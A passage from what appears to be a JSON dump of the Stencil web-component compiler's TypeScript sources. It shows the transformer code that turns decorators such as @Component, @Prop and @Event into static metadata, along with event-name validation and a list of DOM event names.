ts.SymbolFlags.TypeAlias | ts.SymbolFlags.Enum)) === 0,\n      )\n      .filter((symbol) => symbol.name !== cmpNode.name.text);\n\n    nonTypeExports.forEach((symbol) => {\n      const err = buildError(diagnostics);\n      err.messageText = `To allow efficient bundling, modules using @Component() can only have a single export which is the component class itself.\n      Any other exports should be moved to a separate file.\n      For further information check out: https://stenciljs.com/docs/module-bundling`;\n      const errorNode = symbol.valueDeclaration ? symbol.valueDeclaration : symbol.declarations[0];\n\n      augmentDiagnosticWithNode(err, errorNode);\n    });\n    if (nonTypeExports.length > 0) {\n      return false;\n    }\n  }\n  return true;\n};\n\n/**\n * Given a TypeScript Decorator node, try to find a property with a given name\n * on an object possibly passed to it as an argument. If found, return the node\n * to initialize the value, and if no such property is found return the\n * decorator instead.\n *\n * @param propName the name of the argument to search for\n * @param node the decorator node to search within\n * @returns the initializer for the property (if found) or the decorator\n */\nconst findTagNode = (propName: string, node: ts.Decorator): ts.Decorator | ts.Expression => {\n  let out: ts.Decorator | ts.Expression = node;\n\n  if (ts.isDecorator(node) && ts.isCallExpression(node.expression)) {\n    const arg = node.expression.arguments[0];\n    if (ts.isObjectLiteralExpression(arg)) {\n      arg.properties.forEach((prop) => {\n        if (ts.isPropertyAssignment(prop) && prop.name.getText() === propName) {\n          out = prop.initializer;\n        }\n      });\n    }\n  }\n\n  return out;\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/convert-decorators.ts",
    "content": "import { augmentDiagnosticWithNode, buildError } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { retrieveTsDecorators, retrieveTsModifiers, updateConstructor } from '../transform-utils';\nimport { attachInternalsDecoratorsToStatic } from './attach-internals';\nimport { componentDecoratorToStatic } from './component-decorator';\nimport { isDecoratorNamed } from './decorator-utils';\nimport { CLASS_DECORATORS_TO_REMOVE, MEMBER_DECORATORS_TO_REMOVE } from './decorators-constants';\nimport { elementDecoratorsToStatic } from './element-decorator';\nimport { eventDecoratorsToStatic } from './event-decorator';\nimport { ImportAliasMap } from './import-alias-map';\nimport { listenDecoratorsToStatic } from './listen-decorator';\nimport { methodDecoratorsToStatic, validateMethods } from './method-decorator';\nimport { propDecoratorsToStatic } from './prop-decorator';\nimport { stateDecoratorsToStatic } from './state-decorator';\nimport { watchDecoratorsToStatic } from './watch-decorator';\nimport { serializeDecoratorsToStatic } from './serialize-decorators';\n\n/**\n * Create a {@link ts.TransformerFactory} which will handle converting any\n * decorators on Stencil component classes (i.e. classes decorated with\n * `@Component`) to static representations of the options, names, etc.\n * associated with the various decorators that Stencil supports like `@Prop`,\n * `@State`, etc.\n *\n * This `TransformerFactory` returned by this function will handle all classes\n * declared within a module.\n *\n * @param config a user-supplied configuration for Stencil\n * @param diagnostics for surfacing errors and warnings\n * @param typeChecker a TypeScript typechecker instance\n * @param program a {@link ts.Program} object\n * @returns a TypeScript transformer factory which can be passed to\n * TypeScript to transform source code during the compilation process\n */\nexport const convertDecoratorsToStatic = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return (transformCtx) => {\n    let sourceFile: ts.SourceFile;\n    const visit = (node: ts.Node): ts.VisitResult<ts.Node> => {\n      if (ts.isClassDeclaration(node)) {\n        return visitClassDeclaration(config, diagnostics, typeChecker, program, node, sourceFile);\n      }\n      return ts.visitEachChild(node, visit, transformCtx);\n    };\n\n    return (tsSourceFile) => {\n      sourceFile = tsSourceFile;\n      return ts.visitEachChild(tsSourceFile, visit, transformCtx);\n    };\n  };\n};\n\n/**\n * Visit {@link ts.ClassDeclaration} nodes as part of the tree-traversal\n * required for {@link convertDecoratorsToStatic} to work.\n *\n * If a given class declaration node is not decorated with `@Component` this\n * function will simply return it as-is. If it _is_ decorated, then it will\n *\n * 1. Convert the arguments to the `@Component` decorator to static values.\n * 2. Strip off properties decorated with Stencil-implemented decorators like\n * `@State`, `@Prop`, etc which need to be removed and convert their metadata\n * to static values.\n * 3. Validate that the various options selected by the component author are\n * valid, both individually and in combination.\n * 4. Return an updated class declaration node which is ready to be used in\n * the rest of the Stencil compilation pipeline (e.g. in output target\n * generation).\n *\n * @param config a user-supplied Stencil config\n * @param diagnostics for surfacing errors and warnings\n * @param typeChecker a TypeScript typechecker instance\n * @param program a {@link ts.Program} object\n * @param classNode the node currently being visited\n * @param sourceFile the source file containing the class node\n * @returns a class node, possibly updated with new static values\n */\nconst visitClassDeclaration = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  classNode: ts.ClassDeclaration,\n  sourceFile: ts.SourceFile,\n): ts.ClassDeclaration => {\n  const importAliasMap = new ImportAliasMap(sourceFile);\n\n  const componentDecorator = retrieveTsDecorators(classNode)?.find(isDecoratorNamed(importAliasMap.get('Component')));\n  const classMembers = classNode.members;\n  const decoratedMembers = classMembers.filter((member) => (retrieveTsDecorators(member)?.length ?? 0) > 0);\n\n  if (!decoratedMembers.length && !componentDecorator) {\n    return classNode;\n  }\n\n  // create an array of all class members which are _not_ methods decorated\n  // with a Stencil decorator. We do this here because we'll implement the\n  // behavior specified for those decorated methods later on.\n  const filteredMethodsAndFields = removeStencilMethodDecorators(Array.from(classMembers), diagnostics, importAliasMap);\n\n  if (componentDecorator) {\n    // parse component decorator\n    componentDecoratorToStatic(\n      config,\n      typeChecker,\n      diagnostics,\n      classNode,\n      filteredMethodsAndFields,\n      componentDecorator,\n    );\n  }\n\n  // stores a reference to fields that should be watched for changes\n  // parse member decorators (Prop, State, Listen, Event, Method, Element and Watch)\n  if (decoratedMembers.length > 0) {\n    const serializers = serializeDecoratorsToStatic(\n      typeChecker,\n      decoratedMembers,\n      filteredMethodsAndFields,\n      importAliasMap.get('PropSerialize'),\n      'PropSerialize',\n      importAliasMap.get('Prop'),\n    );\n    const deserializers = serializeDecoratorsToStatic(\n      typeChecker,\n      decoratedMembers,\n      filteredMethodsAndFields,\n      importAliasMap.get('AttrDeserialize'),\n      'AttrDeserialize',\n      importAliasMap.get('Prop'),\n    );\n    propDecoratorsToStatic(\n      config,\n      diagnostics,\n      decoratedMembers,\n      typeChecker,\n      program,\n      filteredMethodsAndFields,\n      importAliasMap.get('Prop'),\n      serializers,\n      deserializers,\n    );\n    stateDecoratorsToStatic(decoratedMembers, filteredMethodsAndFields, typeChecker, importAliasMap.get('State'));\n    eventDecoratorsToStatic(\n      diagnostics,\n      decoratedMembers,\n      typeChecker,\n      program,\n      filteredMethodsAndFields,\n      importAliasMap.get('Event'),\n    );\n    methodDecoratorsToStatic(\n      config,\n      diagnostics,\n      classNode,\n      decoratedMembers,\n      typeChecker,\n      program,\n      filteredMethodsAndFields,\n      importAliasMap.get('Method'),\n    );\n    elementDecoratorsToStatic(diagnostics, decoratedMembers, filteredMethodsAndFields, importAliasMap.get('Element'));\n    watchDecoratorsToStatic(typeChecker, decoratedMembers, filteredMethodsAndFields, importAliasMap.get('Watch'));\n    listenDecoratorsToStatic(\n      diagnostics,\n      typeChecker,\n      decoratedMembers,\n      filteredMethodsAndFields,\n      importAliasMap.get('Listen'),\n    );\n    attachInternalsDecoratorsToStatic(\n      diagnostics,\n      decoratedMembers,\n      filteredMethodsAndFields,\n      typeChecker,\n      importAliasMap.get('AttachInternals'),\n    );\n  }\n\n  validateMethods(diagnostics, classMembers);\n\n  const currentDecorators = retrieveTsDecorators(classNode);\n  const updatedClassFields: ts.ClassElement[] = updateConstructor(classNode, filteredMethodsAndFields, []);\n\n  return ts.factory.updateClassDeclaration(\n    classNode,\n    [\n      ...(filterDecorators(\n        currentDecorators,\n        CLASS_DECORATORS_TO_REMOVE.map((decorator) => importAliasMap.get(decorator)),\n      ) ?? []),\n      ...(retrieveTsModifiers(classNode) ?? []),\n    ],\n    classNode.name,\n    classNode.typeParameters,\n    classNode.heritageClauses,\n    updatedClassFields,\n  );\n};\n\n/**\n * Take a list of `ClassElement` AST nodes and remove any decorators from\n * method elements which are Stencil-specific decorators. We implement the\n * intended behavior for these Stencil-specific decorators (things like\n * `@Watch`, `@State`, etc) through a combination of compile- and\n * run-time changes, scaffolding, etc.\n *\n * This utility modifies these class elements to remove any Stencil-specific\n * decorators.\n *\n * @param classMembers a list of ClassElement AST nodes\n * @param diagnostics a collection of compiler diagnostics, to which an error\n * may be added\n * @param importAliasMap a map of Stencil decorator names to their import names\n * @returns a new list of the same ClassElement nodes, with any nodes which have\n * Stencil-specific decorators modified to remove them\n */\nconst removeStencilMethodDecorators = (\n  classMembers: ts.ClassElement[],\n  diagnostics: d.Diagnostic[],\n  importAliasMap: ImportAliasMap,\n): ts.ClassElement[] => {\n  return classMembers.map((member) => {\n    const currentDecorators = retrieveTsDecorators(member);\n    const newDecorators = filterDecorators(\n      currentDecorators,\n      MEMBER_DECORATORS_TO_REMOVE.map((decorator) => importAliasMap.get(decorator)),\n    );\n\n    if (currentDecorators !== newDecorators) {\n      if (ts.isMethodDeclaration(member)) {\n        return ts.factory.updateMethodDeclaration(\n          member,\n          [...(newDecorators ?? []), ...(retrieveTsModifiers(member) ?? [])],\n          member.asteriskToken,\n          member.name,\n          member.questionToken,\n          member.typeParameters,\n          member.parameters,\n          member.type,\n          member.body,\n        );\n      } else if (ts.isGetAccessor(member)) {\n        return ts.factory.updateGetAccessorDeclaration(\n          member,\n          [...(newDecorators ?? []), ...(retrieveTsModifiers(member) ?? [])],\n          member.name,\n          member.parameters,\n          member.type,\n          member.body,\n        );\n      } else if (ts.isSetAccessor(member)) {\n        const err = buildError(diagnostics);\n        err.messageText = 'A get accessor should be decorated before a set accessor';\n        augmentDiagnosticWithNode(err, member);\n      } else if (ts.isPropertyDeclaration(member)) {\n        const modifiers = retrieveTsModifiers(member);\n        return ts.factory.updatePropertyDeclaration(\n          member,\n          [...(newDecorators ?? []), ...(modifiers ?? [])],\n          member.name,\n          member.questionToken,\n          member.type,\n          member.initializer,\n        );\n      } else {\n        const err = buildError(diagnostics);\n        err.messageText = 'Unknown class member encountered!';\n        augmentDiagnosticWithNode(err, member);\n      }\n    }\n    return member;\n  });\n};\n\n/**\n * Generate a list of decorators from a syntax tree node that are not in a provided exclude list\n *\n * @param decorators the syntax tree node's decorators should be inspected\n * @param excludeList the names of decorators that should _not_ be included in the returned list\n * @returns a list of decorators on the AST node that are not in the provided list, or `undefined` if:\n * - there are no decorators on the node\n * - the node contains only decorators in the provided list\n */\nexport const filterDecorators = (\n  decorators: ReadonlyArray<ts.Decorator> | undefined,\n  excludeList: ReadonlyArray<string>,\n): ReadonlyArray<ts.Decorator> | undefined => {\n  if (decorators) {\n    const updatedDecoratorList = decorators.filter((dec) => {\n      // narrow the type of the syntax tree node, while retrieving the text of the identifier\n      const decoratorName =\n        ts.isCallExpression(dec.expression) &&\n        ts.isIdentifier(dec.expression.expression) &&\n        dec.expression.expression.text;\n      // if the type narrowing logic short-circuited (i.e. returned 'false'), always return those decorators\n      // otherwise, check if it is included in the provided exclude list\n      return typeof decoratorName === 'boolean' || !excludeList.includes(decoratorName);\n    });\n    if (updatedDecoratorList.length === 0) {\n      // handle the case of a zero-length list first, so an empty array is not created\n      return undefined;\n    } else if (updatedDecoratorList.length !== decorators.length) {\n      // the updated decorator list is non-zero, but has a different length than the original decorator list,\n      // create a new array of nodes from it\n      return ts.factory.createNodeArray(updatedDecoratorList);\n    }\n  }\n\n  // return the node's original decorators, or undefined\n  return decorators;\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/decorator-utils.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { augmentDiagnosticWithNode, buildError } from '@utils';\nimport { objectLiteralToObjectMap } from '../transform-utils';\n\nexport const getDecoratorParameters: GetDecoratorParameters = (\n  decorator: ts.Decorator,\n  typeChecker: ts.TypeChecker,\n  diagnostics?: d.Diagnostic[],\n): any => {\n  if (!ts.isCallExpression(decorator.expression)) {\n    return [];\n  }\n  return decorator.expression.arguments.map((arg) =>\n    getDecoratorParameter(arg, typeChecker, diagnostics, decorator.expression),\n  );\n};\n\nconst getDecoratorParameter = (\n  arg: ts.Expression,\n  typeChecker: ts.TypeChecker,\n  diagnostics?: d.Diagnostic[],\n  errorNode?: ts.Node,\n): any => {\n  // Check if this is a resolveVar() call\n  if (ts.isCallExpression(arg)) {\n    const expression = arg.expression;\n    if (\n      (ts.isIdentifier(expression) && expression.text === 'resolveVar') ||\n      (ts.isPropertyAccessExpression(expression) &&\n        ts.isIdentifier(expression.name) &&\n        expression.name.text === 'resolveVar')\n    ) {\n      // Extract the argument passed to resolveVar\n      if (arg.arguments.length !== 1) {\n        const err = buildError(diagnostics);\n        err.messageText = 'resolveVar() expects exactly one argument.';\n        if (errorNode) {\n          augmentDiagnosticWithNode(err, errorNode);\n        }\n        throw new Error(err.messageText);\n      }\n\n      const resolveArg = arg.arguments[0];\n      return resolveVariableValue(resolveArg, typeChecker, diagnostics, resolveArg);\n    }\n  }\n\n  if (ts.isObjectLiteralExpression(arg)) {\n    return objectLiteralToObjectMap(arg, typeChecker, diagnostics, errorNode);\n  } else if (ts.isStringLiteral(arg)) {\n    return arg.text;\n  } else if (ts.isPropertyAccessExpression(arg) || ts.isIdentifier(arg)) {\n    const type = typeChecker.getTypeAtLocation(arg);\n    if (type !== undefined && type.isLiteral()) {\n      /**\n       * Using enums or variables require us to resolve the value for\n       * the computed property/identifier via the TS type checker. As long\n       * as the type resolves to a literal, we can grab its value to be used\n       * as the `@Watch()` decorator argument.\n       */\n      return type.value;\n    }\n  }\n\n  throw new Error(`invalid decorator argument: ${arg.getText()}`);\n};\n\n/**\n * Resolves a variable or object property to its string literal value at compile time.\n * Supports const variables and object properties with string literal values.\n */\nconst resolveVariableValue = (\n  node: ts.Expression,\n  typeChecker: ts.TypeChecker,\n  diagnostics?: d.Diagnostic[],\n  errorNode?: ts.Node,\n): string => {\n  // Handle identifiers (const variables)\n  if (ts.isIdentifier(node)) {\n    const symbol = typeChecker.getSymbolAtLocation(node);\n    if (!symbol || !symbol.valueDeclaration) {\n      const err = buildError(diagnostics);\n      err.messageText = `resolveVar() cannot resolve the value of \"${node.text}\" at compile time. Only const variables and object properties with string literal values are supported.`;\n      if (errorNode) {\n        augmentDiagnosticWithNode(err, errorNode);\n      }\n      throw new Error(err.messageText);\n    }\n\n    const declaration = symbol.valueDeclaration;\n\n    // Check if it's a const variable declaration\n    if (ts.isVariableDeclaration(declaration)) {\n      // Try to get the type first (works for 'as const' assertions)\n      const type = typeChecker.getTypeAtLocation(node);\n      if (type && type.isLiteral() && typeof type.value === 'string') {\n        return type.value;\n      }\n\n      // Fall back to extracting from initializer\n      if (declaration.initializer) {\n        const initializerValue = extractStringFromExpression(declaration.initializer, typeChecker);\n        if (initializerValue !== null) {\n          return initializerValue;\n        }\n      }\n    }\n\n    const err = buildError(diagnostics);\n    err.messageText = `resolveVar() cannot resolve the value of \"${node.text}\" at compile time. Only const variables and object properties with string literal values are supported.`;\n    if (errorNode) {\n      augmentDiagnosticWithNode(err, errorNode);\n    }\n    throw new Error(err.messageText);\n  }\n\n  // Handle property access expressions (object properties)\n  if (ts.isPropertyAccessExpression(node)) {\n    const objectType = typeChecker.getTypeAtLocation(node.expression);\n    if (!objectType) {\n      const err = buildError(diagnostics);\n      err.messageText = `resolveVar() cannot resolve the object type for \"${node.getText()}\" at compile time.`;\n      if (errorNode) {\n        augmentDiagnosticWithNode(err, errorNode);\n      }\n      throw new Error(err.messageText);\n    }\n\n    const propertyName = node.name.text;\n    const property = typeChecker.getPropertyOfType(objectType, propertyName);\n    if (!property) {\n      const err = buildError(diagnostics);\n      err.messageText = `resolveVar() cannot find property \"${propertyName}\" on object \"${node.expression.getText()}\" at compile time.`;\n      if (errorNode) {\n        augmentDiagnosticWithNode(err, errorNode);\n      }\n      throw new Error(err.messageText);\n    }\n\n    // Get the type of the property\n    const propertyType = typeChecker.getTypeOfSymbolAtLocation(property, node);\n    if (propertyType && propertyType.isLiteral() && typeof propertyType.value === 'string') {\n      return propertyType.value;\n    }\n\n    // Try to get the value from the symbol's declaration\n    if (property.valueDeclaration) {\n      if (ts.isPropertyDeclaration(property.valueDeclaration)) {\n        const initializer = property.valueDeclaration.initializer;\n        if (initializer) {\n          const value = extractStringFromExpression(initializer, typeChecker);\n          if (value !== null) {\n            return value;\n          }\n        }\n      } else if (ts.isPropertySignature(property.valueDeclaration)) {\n        // PropertySignature doesn't have initializer\n        // The type-based resolution above should handle this case\n      } else if (ts.isVariableDeclaration(property.valueDeclaration)) {\n        const initializer = property.valueDeclaration.initializer;\n        if (initializer) {\n          const value = extractStringFromExpression(initializer, typeChecker);\n          if (value !== null) {\n            return value;\n          }\n        }\n      }\n    }\n\n    const err = buildError(diagnostics);\n    err.messageText = `resolveVar() cannot resolve the value of \"${node.getText()}\" at compile time. Only const variables and object properties with string literal values are supported.`;\n    if (errorNode) {\n      augmentDiagnosticWithNode(err, errorNode);\n    }\n    throw new Error(err.messageText);\n  }\n\n  const err = buildError(diagnostics);\n  err.messageText = `resolveVar() can only be used with const variables or object properties. \"${node.getText()}\" is not supported.`;\n  if (errorNode) {\n    augmentDiagnosticWithNode(err, errorNode);\n  }\n  throw new Error(err.messageText);\n};\n\n/**\n * Extracts a string value from a TypeScript expression.\n * Returns null if the expression doesn't represent a string literal.\n */\nconst extractStringFromExpression = (expr: ts.Expression, typeChecker: ts.TypeChecker): string | null => {\n  // String literal\n  if (ts.isStringLiteral(expr)) {\n    return expr.text;\n  }\n\n  // Template literal (no substitutions)\n  if (ts.isNoSubstitutionTemplateLiteral(expr)) {\n    return expr.text;\n  }\n\n  // Check if the type is a string literal type\n  const type = typeChecker.getTypeAtLocation(expr);\n  if (type && type.isLiteral() && typeof type.value === 'string') {\n    return type.value;\n  }\n\n  return null;\n};\n\n/**\n * Returns a function that checks if a decorator:\n * - is a call expression. these are decorators that are immediately followed by open/close parenthesis with optional\n *   arg(s), e.g. `@Prop()`\n * - the name of the decorator matches the provided `propName`\n *\n * @param propName the name of the decorator to match against\n * @returns true if the conditions above are both true, false otherwise\n */\nexport const isDecoratorNamed = (propName: string) => {\n  return (dec: ts.Decorator): boolean => {\n    return ts.isCallExpression(dec.expression) && dec.expression.expression.getText() === propName;\n  };\n};\n\nexport interface GetDecoratorParameters {\n  <T>(decorator: ts.Decorator, typeChecker: ts.TypeChecker, diagnostics?: d.Diagnostic[]): [T];\n  <T, T1>(decorator: ts.Decorator, typeChecker: ts.TypeChecker, diagnostics?: d.Diagnostic[]): [T, T1];\n  <T, T1, T2>(decorator: ts.Decorator, typeChecker: ts.TypeChecker, diagnostics?: d.Diagnostic[]): [T, T1, T2];\n}\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/decorators-constants.ts",
    "content": "/**\n * All the decorators supported by Stencil\n */\nexport const STENCIL_DECORATORS = [\n  'AttachInternals',\n  'AttrDeserialize',\n  'PropSerialize',\n  'Component',\n  'Element',\n  'Event',\n  'Listen',\n  'Method',\n  'Prop',\n  'State',\n  'Watch',\n] as const;\n\nexport type StencilDecorator = (typeof STENCIL_DECORATORS)[number];\n\n/**\n * Decorators on class declarations that we remove as part of the compilation\n * process\n */\nexport const CLASS_DECORATORS_TO_REMOVE = ['Component'] as const satisfies readonly StencilDecorator[];\n\n/**\n * Decorators on class members that we remove as part of the compilation\n * process\n */\nexport const MEMBER_DECORATORS_TO_REMOVE = [\n  'AttachInternals',\n  'AttrDeserialize',\n  'PropSerialize',\n  'Element',\n  'Event',\n  'Listen',\n  'Method',\n  'Prop',\n  'State',\n  'Watch',\n] as const satisfies readonly StencilDecorator[];\n\n/**\n * The names used for the static getters added to Stencil components when they\n * are transformed to remove decorated properties.\n */\nexport const STATIC_GETTER_NAMES = [\n  'COMPILER_META',\n  'assetsDirs',\n  'attachInternalsCustomStates',\n  'attachInternalsMemberName',\n  'cmpMeta',\n  'delegatesFocus',\n  'elementRef',\n  'encapsulation',\n  'events',\n  'formAssociated',\n  'is',\n  'listeners',\n  'methods',\n  'originalStyleUrls',\n  'properties',\n  'slotAssignment',\n  'states',\n  'style',\n  'styleMode',\n  'styleUrl',\n  'styleUrls',\n  'styles',\n  'watchers',\n  'serializers',\n  'deserializers',\n] as const;\n\nexport type StencilStaticGetter = (typeof STATIC_GETTER_NAMES)[number];\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/element-decorator.ts",
    "content": "import { buildError } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { createStaticGetter, retrieveTsDecorators } from '../transform-utils';\nimport { isDecoratorNamed } from './decorator-utils';\n\nexport const elementDecoratorsToStatic = (\n  diagnostics: d.Diagnostic[],\n  decoratedMembers: ts.ClassElement[],\n  newMembers: ts.ClassElement[],\n  decoratorName: string,\n) => {\n  const elementRefs = decoratedMembers\n    .filter(ts.isPropertyDeclaration)\n    .map((prop) => parseElementDecorator(prop, decoratorName))\n    .filter((element): element is string => !!element);\n\n  if (elementRefs.length > 0) {\n    newMembers.push(createStaticGetter('elementRef', ts.factory.createStringLiteral(elementRefs[0])));\n    if (elementRefs.length > 1) {\n      const error = buildError(diagnostics);\n      error.messageText = `It's not valid to add more than one Element() decorator`;\n    }\n  }\n};\n\nconst parseElementDecorator = (prop: ts.PropertyDeclaration, decoratorName: string): string | null => {\n  const elementDecorator = retrieveTsDecorators(prop)?.find(isDecoratorNamed(decoratorName));\n\n  if (elementDecorator == null) {\n    return null;\n  }\n  return prop.name.getText();\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/event-decorator.ts",
    "content": "import { augmentDiagnosticWithNode, buildWarn } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport {\n  convertValueToLiteral,\n  createStaticGetter,\n  getAttributeTypeInfo,\n  resolveType,\n  retrieveTsDecorators,\n  serializeSymbol,\n} from '../transform-utils';\nimport { getDecoratorParameters, isDecoratorNamed } from './decorator-utils';\n\nexport const eventDecoratorsToStatic = (\n  diagnostics: d.Diagnostic[],\n  decoratedProps: ts.ClassElement[],\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  newMembers: ts.ClassElement[],\n  decoratorName: string,\n) => {\n  const events = decoratedProps\n    .filter(ts.isPropertyDeclaration)\n    .map((prop) => parseEventDecorator(diagnostics, typeChecker, program, prop, decoratorName))\n    .filter((ev) => !!ev);\n\n  if (events.length > 0) {\n    newMembers.push(createStaticGetter('events', convertValueToLiteral(events)));\n  }\n};\n\n/**\n * Parse a single instance of Stencil's `@Event()` decorator and generate metadata for the class member that is\n * decorated\n * @param diagnostics a list of diagnostics used as a part of the parsing process. Any parse errors/warnings shall be\n * added to this collection\n * @param typeChecker an instance of the TypeScript type checker, used to generate information about the `@Event()` and\n * @param program a {@link ts.Program} object\n * its surrounding context in the AST\n * @param prop the property on the Stencil component class that is decorated with `@Event()`\n * @param decoratorName the name of the decorator to look for\n * @returns generated metadata for the class member decorated by `@Event()`, or `null` if none could be derived\n */\nconst parseEventDecorator = (\n  diagnostics: d.Diagnostic[],\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  prop: ts.PropertyDeclaration,\n  decoratorName: string,\n): d.ComponentCompilerStaticEvent | null => {\n  const eventDecorator = retrieveTsDecorators(prop)?.find(isDecoratorNamed(decoratorName));\n\n  if (eventDecorator == null) {\n    return null;\n  }\n\n  const memberName = prop.name.getText();\n  if (!memberName) {\n    return null;\n  }\n\n  const [eventOpts] = getDecoratorParameters<d.EventOptions>(eventDecorator, typeChecker, diagnostics);\n  const symbol = typeChecker.getSymbolAtLocation(prop.name);\n  const eventName = getEventName(eventOpts, memberName);\n\n  validateEventName(diagnostics, prop.name, eventName);\n\n  const eventMeta = {\n    method: memberName,\n    name: eventName,\n    bubbles: eventOpts && typeof eventOpts.bubbles === 'boolean' ? eventOpts.bubbles : true,\n    cancelable: eventOpts && typeof eventOpts.cancelable === 'boolean' ? eventOpts.cancelable : true,\n    composed: eventOpts && typeof eventOpts.composed === 'boolean' ? eventOpts.composed : true,\n    docs: serializeSymbol(typeChecker, symbol),\n    complexType: getComplexType(typeChecker, program, prop),\n  };\n  return eventMeta;\n};\n\nexport const getEventName = (eventOptions: d.EventOptions, memberName: string) => {\n  if (eventOptions && typeof eventOptions.eventName === 'string' && eventOptions.eventName.trim().length > 0) {\n    // always use the event name if given\n    return eventOptions.eventName.trim();\n  }\n  return memberName;\n};\n\n/**\n * Derive Stencil's class member type metadata from a node in the AST\n * @param typeChecker the TypeScript type checker\n * @param program a {@link ts.Program} object\n * @param node the node in the AST to generate metadata for\n * @returns the generated metadata\n */\nconst getComplexType = (\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  node: ts.PropertyDeclaration,\n): d.ComponentCompilerPropertyComplexType => {\n  const sourceFile = node.getSourceFile();\n  const eventType = node.type ? getEventType(node.type) : null;\n  return {\n    original: eventType ? eventType.getText() : 'any',\n    resolved: eventType ? resolveType(typeChecker, typeChecker.getTypeFromTypeNode(eventType)) : 'any',\n    references: eventType ? getAttributeTypeInfo(eventType, sourceFile, typeChecker, program) : {},\n  };\n};\n\n/**\n * Derive the type of the event from the typings of `EventEmitter`\n * @param type the AST node containing the `EventEmitter` typing\n * @returns the type taken from `EventEmitter`, or `null` if the type cannot be derived\n */\nconst getEventType = (type: ts.TypeNode): ts.TypeNode | null => {\n  if (\n    ts.isTypeReferenceNode(type) &&\n    ts.isIdentifier(type.typeName) &&\n    type.typeName.text === 'EventEmitter' &&\n    type.typeArguments &&\n    type.typeArguments.length > 0\n  ) {\n    return type.typeArguments[0];\n  }\n  return null;\n};\n\n/**\n * Helper function for validating the name of the event\n *\n * This function assumes that the name of the event has been determined prior to calling it\n *\n * @param diagnostics a list of diagnostics used as a part of the validation process. Any parse errors/warnings shall be\n * added to this collection\n * @param node the node in the AT containing the class member decorated with `@Event()`\n * @param eventName the name of the event\n */\nconst validateEventName = (diagnostics: d.Diagnostic[], node: ts.Node, eventName: string): void => {\n  // this regex checks for a string that begins with a capital letter - e.g. 'AskJeeves', 'Zoo', 'Spotify'\n  if (/^[A-Z]/.test(eventName)) {\n    const diagnostic = buildWarn(diagnostics);\n    diagnostic.messageText = [\n      `In order to be compatible with all event listeners on elements, the event name `,\n      `cannot start with a capital letter. `,\n      `Please lowercase the first character for the event to best work with all listeners.`,\n    ].join('');\n    augmentDiagnosticWithNode(diagnostic, node);\n    return;\n  }\n\n  // this regex checks for a string that begins 'on', followed by a capital letter - e.g. 'onAbout', 'onZing', 'onBlur'\n  if (/^on[A-Z]/.test(eventName)) {\n    const warn = buildWarn(diagnostics);\n    const suggestedEventName = eventName[2].toLowerCase() + eventName.slice(3);\n    warn.messageText = `Events decorated with @Event() should describe the actual DOM event name, not the handler. In other words \"${eventName}\" would be better named as \"${suggestedEventName}\".`;\n    augmentDiagnosticWithNode(warn, node);\n    return;\n  }\n\n  if (DOM_EVENT_NAMES.has(eventName.toLowerCase())) {\n    const diagnostic = buildWarn(diagnostics);\n    diagnostic.messageText = `The event name conflicts with the \"${eventName}\" native DOM event name.`;\n    augmentDiagnosticWithNode(diagnostic, node);\n    return;\n  }\n};\n\nconst DOM_EVENT_NAMES: Set<string> = new Set(\n  [\n    'CheckboxStateChange',\n    'DOMContentLoaded',\n    'DOMMenuItemActive',\n    'DOMMenuItemInactive',\n    'DOMMouseScroll',\n    'MSManipulationStateChanged',\n    'MSPointerHover',\n    'MozAudioAvailable',\n    'MozGamepadButtonDown',\n    'MozGamepadButtonUp',\n    'MozMousePixelScroll',\n    'MozOrientation',\n    'MozScrolledAreaChanged',\n    'RadioStateChange',\n    'SVGAbort',\n    'SVGError',\n    'SVGLoad',\n    'SVGResize',\n    'SVGScroll',\n    'SVGUnload',\n    'SVGZoom',\n    'abort',\n    'afterprint',\n    'afterscriptexecute',\n    'alerting',\n    'animationcancel',\n    'animationend',\n    'animationiteration',\n    'animationstart',\n    'appinstalled',\n    'audioend',\n    'audioprocess',\n    'audiostart',\n    'auxclick',\n    'beforeinstallprompt',\n    'beforeprint',\n    'beforescriptexecute',\n    'beforeunload',\n    'beginEvent',\n    'blur',\n    'boundary',\n    'broadcast',\n    'busy',\n    'callschanged',\n    'canplay',\n    'canplaythrough',\n    'cardstatechange',\n    'cfstatechange',\n    'change',\n    'chargingchange',\n    'chargingtimechange',\n    'checking',\n    'click',\n    'command',\n    'commandupdate',\n    'compassneedscalibration',\n    'complete',\n    'compositionend',\n    'compositionstart',\n    'compositionupdate',\n    'connected',\n    'connecting',\n    'connectionInfoUpdate',\n    'contextmenu',\n    'copy',\n    'cut',\n    'datachange',\n    'dataerror',\n    'dblclick',\n    'delivered',\n    'devicechange',\n    'devicemotion',\n    'deviceorientation',\n    'dialing',\n    'disabled',\n    'dischargingtimechange',\n    'disconnected',\n    'disconnecting',\n    'downloading',\n    'drag',\n    'dragend',\n    'dragenter',\n    'dragleave',\n    'dragover',\n    'dragstart',\n    'drop',\n    'durationchange',\n    'emptied',\n    'enabled',\n    'end',\n    'endEvent',\n    'ended',\n    'error',\n    'focus',\n    'focusin',\n    'focusout',\n    'fullscreenchange',\n    'fullscreenerror',\n    'gamepadconnected',\n    'gamepaddisconnected',\n    'gotpointercapture',\n    'hashchange',\n    'held',\n    'holding',\n    'icccardlockerror',\n    'iccinfochange',\n    'incoming',\n    'input',\n    'invalid',\n    'keydown',\n    'keypress',\n    'keyup',\n    'languagechange',\n    'levelchange',\n    'load',\n    'loadeddata',\n    'loadedmetadata',\n    'loadend',\n    'loadstart',\n    'localized',\n    'lostpointercapture',\n    'mark',\n    'message',\n    'messageerror',\n    